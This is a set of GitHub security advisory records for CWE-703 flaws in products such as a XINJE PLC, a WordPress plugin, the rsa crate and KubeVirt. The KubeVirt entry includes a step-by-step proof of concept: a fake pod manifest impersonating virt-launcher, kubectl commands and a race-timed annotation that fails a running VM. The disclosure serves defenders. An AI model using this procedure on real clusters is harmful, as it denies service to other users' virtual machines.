CWE-703

{
  "affected": [],
  "aliases": [
    "CVE-2024-50954"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-15T17:15:16Z",
    "severity": "HIGH"
  },
  "details": "The XINJE XL5E-16T and XD5E-24R-E programmable logic controllers V3.5.3b-V3.7.2a have a vulnerability in handling Modbus messages. When a TCP connection is established with the above series of controllers within a local area network (LAN), sending a specific Modbus message to the controller can cause the PLC to crash, interrupting the normal operation of the programs running in the PLC. This results in the ERR indicator light turning on and the RUN indicator light turning off.",
  "id": "GHSA-7jvg-x7c5-xw29",
  "modified": "2025-01-17T18:31:14Z",
  "published": "2025-01-15T18:30:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50954"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Curator-Kim/Vulnerability-mining/blob/master/XINJE%20XL5E-16T%20XD5E-24R%20Modbus/XINJE%20XL5E-16T%20XD5E-24R%20Modbus.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-9104"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-16T02:15:06Z",
    "severity": "MODERATE"
  },
  "details": "The UltimateAI plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 2.8.3. This is due to the improper empty value check and a missing default activated value check in the \u0027ultimate_ai_change_pass\u0027 function. This makes it possible for unauthenticated attackers to reset the password of the first user, whose account is not yet activated or the first user who activated their account, who are subscribers.",
  "id": "GHSA-8c22-3v87-c9p2",
  "modified": "2024-10-16T03:31:33Z",
  "published": "2024-10-16T03:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9104"
    },
    {
      "type": "WEB",
      "url": "https://codecanyon.net/item/ultimateai-ai-enhanced-wordpress-plugin-with-saas-for-content-code-chat-and-image-generation/51201953"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3faf976d-0763-4e47-9bc3-18c791ec4487?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-31883"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-27T16:15:11Z",
    "severity": "MODERATE"
  },
  "details": "IBM Security Verify Access 10.0.0.0 through 10.0.7.1, under certain configurations, could allow an unauthenticated attacker to cause a denial of service due to asymmetric resource consumption.   IBM X-Force ID:  287615.",
  "id": "GHSA-8jqr-962c-69rw",
  "modified": "2024-06-27T18:31:31Z",
  "published": "2024-06-27T18:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31883"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/287615"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7158789"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-37995"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-10T10:15:11Z",
    "severity": "LOW"
  },
  "details": "A vulnerability has been identified in SIMATIC Reader RF610R CMIIT (6GT2811-6BC10-2AA0) (All versions \u003c V4.2), SIMATIC Reader RF610R ETSI (6GT2811-6BC10-0AA0) (All versions \u003c V4.2), SIMATIC Reader RF610R FCC (6GT2811-6BC10-1AA0) (All versions \u003c V4.2), SIMATIC Reader RF615R CMIIT (6GT2811-6CC10-2AA0) (All versions \u003c V4.2), SIMATIC Reader RF615R ETSI (6GT2811-6CC10-0AA0) (All versions \u003c V4.2), SIMATIC Reader RF615R FCC (6GT2811-6CC10-1AA0) (All versions \u003c V4.2), SIMATIC Reader RF650R ARIB (6GT2811-6AB20-4AA0) (All versions \u003c V4.2), SIMATIC Reader RF650R CMIIT (6GT2811-6AB20-2AA0) (All versions \u003c V4.2), SIMATIC Reader RF650R ETSI (6GT2811-6AB20-0AA0) (All versions \u003c V4.2), SIMATIC Reader RF650R FCC (6GT2811-6AB20-1AA0) (All versions \u003c V4.2), SIMATIC Reader RF680R ARIB (6GT2811-6AA10-4AA0) (All versions \u003c V4.2), SIMATIC Reader RF680R CMIIT (6GT2811-6AA10-2AA0) (All versions \u003c V4.2), SIMATIC Reader RF680R ETSI (6GT2811-6AA10-0AA0) (All versions \u003c V4.2), SIMATIC Reader RF680R FCC (6GT2811-6AA10-1AA0) (All versions \u003c V4.2), SIMATIC Reader RF685R ARIB (6GT2811-6CA10-4AA0) (All versions \u003c V4.2), SIMATIC Reader RF685R CMIIT (6GT2811-6CA10-2AA0) (All versions \u003c V4.2), SIMATIC Reader RF685R ETSI (6GT2811-6CA10-0AA0) (All versions \u003c V4.2), SIMATIC Reader RF685R FCC (6GT2811-6CA10-1AA0) (All versions \u003c V4.2), SIMATIC RF1140R (6GT2831-6CB00) (All versions \u003c V1.1), SIMATIC RF1170R (6GT2831-6BB00) (All versions \u003c V1.1), SIMATIC RF166C (6GT2002-0EE20) (All versions \u003c V2.2), SIMATIC RF185C (6GT2002-0JE10) (All versions \u003c V2.2), SIMATIC RF186C (6GT2002-0JE20) (All versions \u003c V2.2), SIMATIC RF186CI (6GT2002-0JE50) (All versions \u003c V2.2), SIMATIC RF188C (6GT2002-0JE40) (All versions \u003c V2.2), SIMATIC RF188CI (6GT2002-0JE60) (All versions \u003c V2.2), SIMATIC RF360R (6GT2801-5BA30) (All versions \u003c V2.2). The affected application improperly handles error while a faulty certificate upload leading to crashing of application. This vulnerability could allow an attacker to disclose sensitive information.",
  "id": "GHSA-8m3h-x229-2whw",
  "modified": "2024-09-10T12:30:37Z",
  "published": "2024-09-10T12:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37995"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-765405.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/chainguard-dev/malcontent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28407"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-28T02:50:09Z",
    "nvd_published_at": "2026-02-27T22:16:23Z",
    "severity": "MODERATE"
  },
  "details": "Previously, malcontent would remove nested archives which failed to extract which could potentially leave malicious content. A better approach is to preserve these archives so that malcontent can attempt a best-effort scan of the archive bytes.\n\n**Fix**:  https://github.com/chainguard-dev/malcontent/pull/1383\n\n**Acknowledgements**\n\nmalcontent thanks Oleh Konko from [1seal](https://1seal.org/) for discovering and reporting this issue.",
  "id": "GHSA-945p-3jhm-6rcp",
  "modified": "2026-02-28T02:50:09Z",
  "published": "2026-02-28T02:50:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-dev/malcontent/security/advisories/GHSA-945p-3jhm-6rcp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28407"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-dev/malcontent/pull/1383"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-dev/malcontent/commit/356c56659ccfcad0b249a97de8cf71f151ed3ee9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chainguard-dev/malcontent"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "malcontent: Nested archive extraction failure can drop content from scan inputs"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-20640"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-11T23:16:07Z",
    "severity": "MODERATE"
  },
  "details": "An inconsistent user interface issue was addressed with improved state management. This issue is fixed in iOS 26.3 and iPadOS 26.3. An attacker with physical access to iPhone may be able to take and view screenshots of sensitive data from the iPhone during iPhone Mirroring with Mac.",
  "id": "GHSA-9677-7r6g-3qh2",
  "modified": "2026-02-13T21:31:35Z",
  "published": "2026-02-12T00:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20640"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/126346"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-47316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T08:16:15Z",
    "severity": "MODERATE"
  },
  "details": "Improper Check or Handling of Exceptional Conditions vulnerability in Samsung Open Source Escargot allows Input Data Manipulation.\n\nThis issue affects Escargot: 590345cc6258317c5da850d846ce6baaf2afc2d3.",
  "id": "GHSA-9726-5rh7-2mr9",
  "modified": "2026-05-19T09:31:20Z",
  "published": "2026-05-19T09:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47316"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Samsung/escargot/pull/1565"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.9"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "rsa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21895"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-06T18:14:08Z",
    "nvd_published_at": "2026-01-08T14:15:57Z",
    "severity": "LOW"
  },
  "details": "When creating a RSA private key from its components, the construction panics, instead of returning an error, when one of the primes is `1`. \n\nDiscovered by Christian Reitter from [Radically Open Security](https://www.radicallyopensecurity.com/) during a security review for [Proton AG](https://proton.me/).",
  "id": "GHSA-9c48-w39g-hm26",
  "modified": "2026-01-08T21:18:57Z",
  "published": "2026-01-06T18:14:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/RustCrypto/RSA/security/advisories/GHSA-9c48-w39g-hm26"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21895"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RustCrypto/RSA/commit/2926c91bef7cb14a7ccd42220a698cf4b1b692f7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/RustCrypto/RSA"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "rsa crate has potential panic on a prime being equal to 1"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-22265"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703",
      "CWE-755"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-10T14:12:00Z",
    "severity": "HIGH"
  },
  "details": "An improper check or handling of exceptional conditions in NPU driver prior to SMR Jan-2022 Release 1 allows arbitrary memory write and code execution.",
  "id": "GHSA-9fvj-4grr-mv9j",
  "modified": "2025-10-22T00:32:27Z",
  "published": "2022-01-11T00:00:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22265"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2022\u0026month=1"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-22265"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "kubevirt.io/kubevirt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.0-beta.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64435"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-06T23:35:24Z",
    "nvd_published_at": "2025-11-07T23:15:45Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible.\n\nA logic flaw in the `virt-controller` allows an attacker to disrupt the control over a running VMI by creating a pod with the same labels as the legitimate `virt-launcher` pod associated with the VMI. This can mislead the `virt-controller` into associating the fake pod with the VMI, resulting in incorrect status updates and potentially causing a DoS (Denial-of-Service).\n\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nA vulnerability has been identified in the logic responsible for reconciling the state of VMI. Specifically, it is possible to associate a malicious attacker-controlled pod with an existing VMI running within the same namespace as the pod, thereby replacing the legitimate `virt-launcher` pod associated with the VMI.\n\nThe `virt-launcher` pod is critical for enforcing the isolation mechanisms applied to the QEMU process that runs the virtual machine. It also serves, along with `virt-handler`, as a management interface that allows cluster users, operators, or administrators to control the lifecycle of the VMI (e.g., starting, stopping, or migrating it).\n\nWhen `virt-controller` receives a notification about a change in a VMI\u0027s state, it attempts to identify the corresponding `virt-launcher` pod. This is necessary in several scenarios, including:\n\n- When hardware devices are requested to be hotplugged into the VMI\u2014they must also be hotplugged into the associated `virt-launcher` pod.\n- When additional RAM is requested\u2014this may require updating the `virt-launcher` pod\u0027s cgroups.\n- When additional CPU resources are added\u2014this may also necessitate modifying the `virt-launcher` pod\u0027s cgroups.\n- When the VMI is scheduled to migrate to another node.\n\nThe core issue lies in the implementation of the `GetControllerOf` function, which is responsible for determining the controller (i.e., owning resource) of a given pod. In its current form, this logic can be manipulated, allowing an attacker to substitute a rogue pod in place of the legitimate `virt-launcher`, thereby compromising the VMI\u0027s integrity and control mechanisms.\n\n```go\n//pkg/controller/controller.go\n\nfunc CurrentVMIPod(vmi *v1.VirtualMachineInstance, podIndexer cache.Indexer) (*k8sv1.Pod, error) {\n\t// Get all pods from the VMI namespace which contain the label \"kubevirt.io\"\n\tobjs, err := podIndexer.ByIndex(cache.NamespaceIndex, vmi.Namespace)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tpods := []*k8sv1.Pod{}\n\tfor _, obj := range objs {\n\t\tpod := obj.(*k8sv1.Pod)\n\t\tpods = append(pods, pod)\n\t}\n\n\tvar curPod *k8sv1.Pod = nil\n\tfor _, pod := range pods {\n\t\tif !IsControlledBy(pod, vmi) {\n\t\t\tcontinue\n\t\t}\n\n\t\tif vmi.Status.NodeName != \"\" \u0026\u0026\n\t\t\tvmi.Status.NodeName != pod.Spec.NodeName {\n\t\t\t// This pod isn\u0027t scheduled to the current node.\n\t\t\t// This can occur during the initial migration phases when\n\t\t\t// a new target node is being prepared for the VMI.\n\t\t\tcontinue\n\t\t}\n\t\t// take the most recently created pod\n\t\tif curPod == nil || curPod.CreationTimestamp.Before(\u0026pod.CreationTimestamp) {\n\t\t\tcurPod = pod\n\t\t}\n\t}\n\treturn curPod, nil\n}\n```\n\n```go\n// pkg/controller/controller_ref.go\n\n\n// GetControllerOf returns the controllerRef if controllee has a controller,\n// otherwise returns nil.\nfunc GetControllerOf(pod *k8sv1.Pod) *metav1.OwnerReference {\n\tcontrollerRef := metav1.GetControllerOf(pod)\n\tif controllerRef != nil {\n\t\treturn controllerRef\n\t}\n\t// We may find pods that are only using CreatedByLabel and not set with an OwnerReference\n\tif createdBy := pod.Labels[virtv1.CreatedByLabel]; len(createdBy) \u003e 0 {\n\t\tname := pod.Annotations[virtv1.DomainAnnotation]\n\t\tuid := types.UID(createdBy)\n\t\tvmi := virtv1.NewVMI(name, uid)\n\t\treturn metav1.NewControllerRef(vmi, virtv1.VirtualMachineInstanceGroupVersionKind)\n\t}\n\treturn nil\n}\n\nfunc IsControlledBy(pod *k8sv1.Pod, vmi *virtv1.VirtualMachineInstance) bool {\n\tif controllerRef := GetControllerOf(pod); controllerRef != nil {\n\t\treturn controllerRef.UID == vmi.UID\n\t}\n\treturn false\n}\n```\n\nThe current logic assumes that a `virt-launcher` pod associated with a VMI may not always have a `controllerRef`. In such cases, the controller falls back to inspecting the pod\u0027s labels. Specifically it evaluates the `kubevirt.io/created-by` label, which is expected to match the UID of the VMI triggering the reconciliation loop. If multiple pods are found that could be associated with the same VMI, the `virt-controller` selects the most recently created one.\n\nThis logic appears to be designed with migration scenarios in mind, where it is expected that two `virt-launcher` pods might temporarily coexist for the same VMI: one for the migration source and one for the migration target node. However, a scenario was not identified in which a legitimate `virt-launcher` pod lacks a `controllerRef` and relies solely on labels (such as `kubevirt.io/created-by`) to indicate its association with a VMI.\n\nThis fallback behaviour introduces a security risk. If an attacker is able to obtain the UID of a running VMI and create a pod within the same namespace, they can assign it labels that mimic those of a legitimate `virt-launcher` pod. As a result, the `CurrentVMIPod` function could mistakenly return the attacker-controlled pod instead of the authentic one.\n\nThis vulnerability has at least two serious consequences:\n\n- The attacker could disrupt or seize control over the VMI\u0027s lifecycle operations.\n- The attacker could potentially influence the VMI\u0027s migration target node, bypassing node-level security constraints such as `nodeSelector` or `nodeAffinity`, which are typically used to enforce workload placement policies.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\nConsider the following VMI definition:\n\n```yaml\napiVersion: kubevirt.io/v1\nkind: VirtualMachineInstance\nmetadata:\n  name: launcher-label-confusion\nspec:\n  domain:\n    devices:\n      disks:\n      - name: containerdisk\n        disk:\n          bus: virtio\n      - name: cloudinitdisk\n        disk:\n          bus: virtio\n    resources:\n      requests:\n        memory: 1024M\n  terminationGracePeriodSeconds: 0\n  volumes:\n  - name: containerdisk\n    containerDisk:\n      image: quay.io/kubevirt/cirros-container-disk-demo\n  - name: cloudinitdisk      \n    cloudInitNoCloud:\n      userDataBase64: SGkuXG4=\n```\n\n\n```bash\n# Deploy the launcher-label-confusion VMI\noperator@minikube:~$ kubectl apply -f launcher-confusion-labels.yaml\n# Get the UID of the VMI\noperator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath=\u0027{.metadata.uid}\u0027\n18afb8bf-70c4-498b-aece-35804c9a0d11\n# Find the UID of the associated to the VMI `virt-launcher` pods (ActivePods)\noperator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath=\u0027{.status.activePods}\u0027\n{\"674bc0b1-e3c7-4c05-b300-9e5744a5f2c8\":\"minikube\"}\n```\n\nThe UID of the VMI can also be found as an argument to the container in the `virt-launcher` pod:\n\n```bash\n# Inspect the `virt-launcher` pod associated with the VMI and the --uid CLI argument with which it was launched\noperator@minikube:~$ kubectl get pods virt-launcher-launcher-label-confusion-bdkwj -o jsonpath=\u0027{.spec.containers[0]}\u0027 | jq .\n{\n  \"command\": [\n    \"/usr/bin/virt-launcher-monitor\",\n    ...\n    \"--uid\",\n    \"18afb8bf-70c4-498b-aece-35804c9a0d11\", \n    \"--namespace\",\n    \"default\",\n    ...\n```\n\nConsider the following attacker-controlled pod which is associated to the VMI using the UID defined in the `kubevirt.io/created-by` label:\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: fake-launcher\n  labels:\n    kubevirt.io: intruder # this is the label used by the virt-controller to identify pods associated with KubeVirt components\n    kubevirt.io/created-by: 18afb8bf-70c4-498b-aece-35804c9a0d11 # this is the UID of the launcher-label-confusion VMI which is going to be taken into account if there is no ownerReference. This is the case for regular pods\n    kubevirt.io/domain: migration\nspec:\n  restartPolicy: Never\n  containers:\n    - name: alpine\n      image: alpine\n      command: [ \"sleep\", \"3600\" ]\n```\n\n```bash\noperator@minikube:~$ kubectl apply -f fake-launcher.yaml\n# Get the UID of the `fake-launcher` pod\noperator@minikube:~$ kubectl get pod fake-launcher -o jsonpath=\u0027{.metadata.uid}\u0027\n39479b87-3119-43b5-92d4-d461b68cfb13\n```\n\nTo effectively attach the fake pod to the VMI, the attacker should wait for a state update to trigger the reconciliation loop:\n\n```bash\n# Trigger the VMI reconciliation loop\noperator@minikube:~$ kubectl patch vmi launcher-label-confusion -p \u0027{\"metadata\":{\"annotations\":{\"trigger-annotation\":\"quarkslab\"}}}\u0027 --type=merge\nvirtualmachineinstance.kubevirt.io/launcher-label-confusion patched\n# Confirm that fake-launcher pod has been associated with the VMI\noperator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath=\u0027{.status.activePods}\u0027\n{\"39479b87-3119-43b5-92d4-d461b68cfb13\":\"minikube\", # `fake-launcher` pod\u0027s UID\n\"674bc0b1-e3c7-4c05-b300-9e5744a5f2c8\":\"minikube\"} # original `virt-launcher` pod UID\n```\n\n\nTo illustrate the impact of this vulnerability, a race condition will be triggered in the `sync` function of the VMI controller:\n\n\n```go\n// pkg/virt-controller/watch/vmi.go\n\nfunc (c *Controller) sync(vmi *virtv1.VirtualMachineInstance, pod *k8sv1.Pod, dataVolumes []*cdiv1.DataVolume) (common.SyncError, *k8sv1.Pod) {\n  //...\n  if !isTempPod(pod) \u0026\u0026 controller.IsPodReady(pod) {\n\n\t\t// mark the pod with annotation to be evicted by this controller\n\t\tnewAnnotations := map[string]string{descheduler.EvictOnlyAnnotation: \"\"}\n\t\tmaps.Copy(newAnnotations, c.netAnnotationsGenerator.GenerateFromActivePod(vmi, pod))\n    // here a new updated pod is returned\n\t\tpatchedPod, err := c.syncPodAnnotations(pod, newAnnotations)\n\t\tif err != nil {\n\t\t\treturn common.NewSyncError(err, controller.FailedPodPatchReason), pod\n\t\t}\n\t\tpod = patchedPod\n    // ...\n\nfunc (c *Controller) syncPodAnnotations(pod *k8sv1.Pod, newAnnotations map[string]string) (*k8sv1.Pod, error) {\n\tpatchSet := patch.New()\n\tfor key, newValue := range newAnnotations {\n\t\tif podAnnotationValue, keyExist := pod.Annotations[key]; !keyExist || podAnnotationValue != newValue {\n\t\t\tpatchSet.AddOption(\n\t\t\t\tpatch.WithAdd(fmt.Sprintf(\"/metadata/annotations/%s\", patch.EscapeJSONPointer(key)), newValue),\n\t\t\t)\n\t\t}\n\t}\n\tif patchSet.IsEmpty() {\n\t\treturn pod, nil\n\t}\n\t\n\tpatchBytes, err := patchSet.GeneratePayload()\n\t// ...\n\tpatchedPod, err := c.clientset.CoreV1().Pods(pod.Namespace).Patch(context.Background(), pod.Name, types.JSONPatchType, patchBytes, v1.PatchOptions{})\n  // ...\n\treturn patchedPod, nil\n}\n```\n\nThe above code adds additional annotations to the `virt-launcher` pod related to node eviction. This happens via an API call to Kubernetes which upon success returns a new updated pod object. This object replaces the current one in the execution flow.\nThere is a tiny window where an attacker could trigger a race condition which will mark the VMI as failed:\n\n```go\n// pkg/virt-controller/watch/vmi.go\n\nfunc isTempPod(pod *k8sv1.Pod) bool {\n  // EphemeralProvisioningObject string = \"kubevirt.io/ephemeral-provisioning\"\n\t_, ok := pod.Annotations[virtv1.EphemeralProvisioningObject]\n\treturn ok\n}\n```\n\n```go\n// pkg/virt-controller/watch/vmi.go\n\nfunc (c *Controller) updateStatus(vmi *virtv1.VirtualMachineInstance, pod *k8sv1.Pod, dataVolumes []*cdiv1.DataVolume, syncErr common.SyncError) error {\n  // ...\n  vmiPodExists := controller.PodExists(pod) \u0026\u0026 !isTempPod(pod)\n\ttempPodExists := controller.PodExists(pod) \u0026\u0026 isTempPod(pod)\n\n  //...\n  case vmi.IsRunning():\n\t\tif !vmiPodExists {\n      // MK: this will toggle the VMI phase to Failed\n\t\t\tvmiCopy.Status.Phase = virtv1.Failed\n\t\t\tbreak\n\t\t}\n    //...\n\n  vmiChanged := !equality.Semantic.DeepEqual(vmi.Status, vmiCopy.Status) || !equality.Semantic.DeepEqual(vmi.Finalizers, vmiCopy.Finalizers) || !equality.Semantic.DeepEqual(vmi.Annotations, vmiCopy.Annotations) || !equality.Semantic.DeepEqual(vmi.Labels, vmiCopy.Labels)\n\tif vmiChanged {\n    // MK: this will detect that the phase of the VMI has changed and updated the resource\n\t\tkey := controller.VirtualMachineInstanceKey(vmi)\n\t\tc.vmiExpectations.SetExpectations(key, 1, 0)\n\t\t_, err := c.clientset.VirtualMachineInstance(vmi.Namespace).Update(context.Background(), vmiCopy, v1.UpdateOptions{})\n\t\tif err != nil {\n\t\t\tc.vmiExpectations.LowerExpectations(key, 1, 0)\n\t\t\treturn err\n\t\t}\n\t}\n```\n\nTo trigger it, the attacker should update the `fake-launcher` pod\u0027s annotations before the check `vmiPodExists := controller.PodExists(pod) \u0026\u0026 !isTempPod(pod)` in `sync`, and between the check `if !isTempPod(pod) \u0026\u0026 controller.IsPodReady(pod)` in `sync` but before the patch API call in `syncPodAnnotations` as follows:\n\n```yaml\nannotations:\n    kubevirt.io/ephemeral-provisioning: \"true\"\n```\n\nThe above annotation will mark the attacker pod as ephemeral (i.e., used to provision the VMI) and will fail the VMI as the latter is already running (provisioning happens before the VMI starts running).\n\nThe update should also happen during the reconciliation loop when the `fake-launcher` pod is initially going to be associated with the VMI and its labels, related to eviction, updated.\n\n\nUpon successful exploitation the VMI is marked as failed and could not be controlled via the Kubernetes API. However, the QEMU process is still running and the VMI is still present in the cluster:\n\n\n```bash\noperator@minikube:~$ kubectl get vmi\nNAME                       AGE    PHASE    IP            NODENAME   READY\nlauncher-label-confusion   128m   Failed   10.244.0.10   minikube   False\n# The VMI is not reachable anymore \noperator@minikube:~$ virtctl console launcher-label-confusion\nOperation cannot be fulfilled on virtualmachineinstance.kubevirt.io \"launcher-label-confusion\": VMI is in failed status\n\n# The two pods are still associated with the VMI\n\noperator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath=\u0027{.status.activePods}\u0027 \n{\"674bc0b1-e3c7-4c05-b300-9e5744a5f2c8\":\"minikube\",\"ca31c8de-4d14-4e47-b942-75be20fb9d96\":\"minikube\"}\n```\n\n### Impact\nAs a result, an attacker could provoke a DoS condition for the affected VMI, compromising the availability of the services it provides.",
  "id": "GHSA-9m94-w2vq-hcf9",
  "modified": "2025-11-17T21:43:42Z",
  "published": "2025-11-06T23:35:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-9m94-w2vq-hcf9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64435"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/commit/9a6f4a3a707992038ef705da4cb3bba8c89d36ba"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kubevirt/kubevirt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation"
}